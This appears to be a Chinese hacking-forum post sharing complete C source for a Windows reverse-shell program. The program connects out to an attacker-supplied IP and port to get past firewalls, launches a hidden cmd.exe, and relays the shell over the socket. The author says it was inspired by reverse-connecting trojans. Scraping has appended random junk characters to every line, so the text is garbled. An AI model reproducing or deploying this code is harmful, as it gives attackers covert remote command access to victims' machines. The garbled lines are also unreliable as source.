这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;yyR_NS
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/* ============================== 4:^MSgra
Rebound port in Windows NT #sBL E
By wind,2006/7 6 eu7&Kj'
===============================*/ JtsXMZz
#include l'@!'
#include B3D}'<
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#pragma comment(lib,"wsock32.lib") "A&A?%
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void OutputShell(); 7Z~JuTIZ
SOCKET sClient; *9xxX,QT8Q
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <2L,+
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void main(int argc,char **argv) fA]sPh4Uag
{ 023uAaI^3r
WSADATA stWsaData; ~d1=_p:~T
int nRet; 9v;HE{>
SOCKADDR_IN stSaiClient,stSaiServer; L N.:>,
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if(argc != 3) e$WAf`*
{ 6({)O1Z
printf("Useage:\n\rRebound DestIP DestPort\n"); []aw;\7}Y
return; "Nb2[R
} BfCnyL%
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WSAStartup(MAKEWORD(2,2),&stWsaData); Q4L=]qc T
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D&I/Tbc
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stSaiClient.sin_family = AF_INET; 9<toDg_
stSaiClient.sin_port = htons(0); <DPRQhNW]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <66%(J>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B!;:,(S~
{ r_T"b
printf("Bind Socket Failed!\n"); &-p~UZy
return; nTGZ2C)c<'
} DpeJx
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stSaiServer.sin_family = AF_INET; db8vm4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^Y;,cLXJ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1gcWw, /
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~piE$"]&
{
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printf("Connect Error!"); =nc;~u|]
return; M!mw6';k
} X%znNx
OutputShell(); 4lpcJ+:o
} AXte&l=M
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void OutputShell() lMh>eX
{ wIR"!C>LE
char szBuff[1024]; reArXmU<u
SECURITY_ATTRIBUTES stSecurityAttributes; Y?7GFkIP$
OSVERSIONINFO stOsversionInfo; ~av#r=x
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; LAnC8O
STARTUPINFO stStartupInfo; !OQ5AF$
char *szShell; 4)k-gKS*
PROCESS_INFORMATION stProcessInformation; q5hE S
unsigned long lBytesRead; mSYm18
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gq 3|vzNZ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @#hvQ6u
stSecurityAttributes.lpSecurityDescriptor = 0; .w@B )f*
stSecurityAttributes.bInheritHandle = TRUE; +Ek1~i.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ti6X=@ P:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ayg^<)JWh
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ot2zY
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6__!M
stStartupInfo.wShowWindow = SW_HIDE; vqQ)Pu?T
stStartupInfo.hStdInput = hReadPipe; :[(%4se
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v0! 1W
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GetVersionEx(&stOsversionInfo); T?d}IDv1
#_aq@)Fd
switch(stOsversionInfo.dwPlatformId) %+,*$wk#*
{ PN8#T:E
case 1: #.*w)
szShell = "command.com"; sR83e|4I
break; _->+Hjj ^
default: /3^XJb$Sa
szShell = "cmd.exe"; iymN|KdpaZ
break; :aaX Y:<
} $oM>?h_=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g] }!
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send(sClient,szMsg,77,0); kh=<M{-t
while(1) p4k}B. f
{ hgW1g#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^,^MW
if(lBytesRead) uM_ww6
{ uKXD(lzX
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4@Db $PHs
send(sClient,szBuff,lBytesRead,0); U*\K<fw
} l4r>#n\yj
else ];6955I!
{ Ai[@2A yU
lBytesRead=recv(sClient,szBuff,1024,0); K$qY^oyQFw
if(lBytesRead<=0) break; 3(t,x
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z#PaQp5F
} jVN06,3z
} NQ[X=a8N
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return; P*7G?
}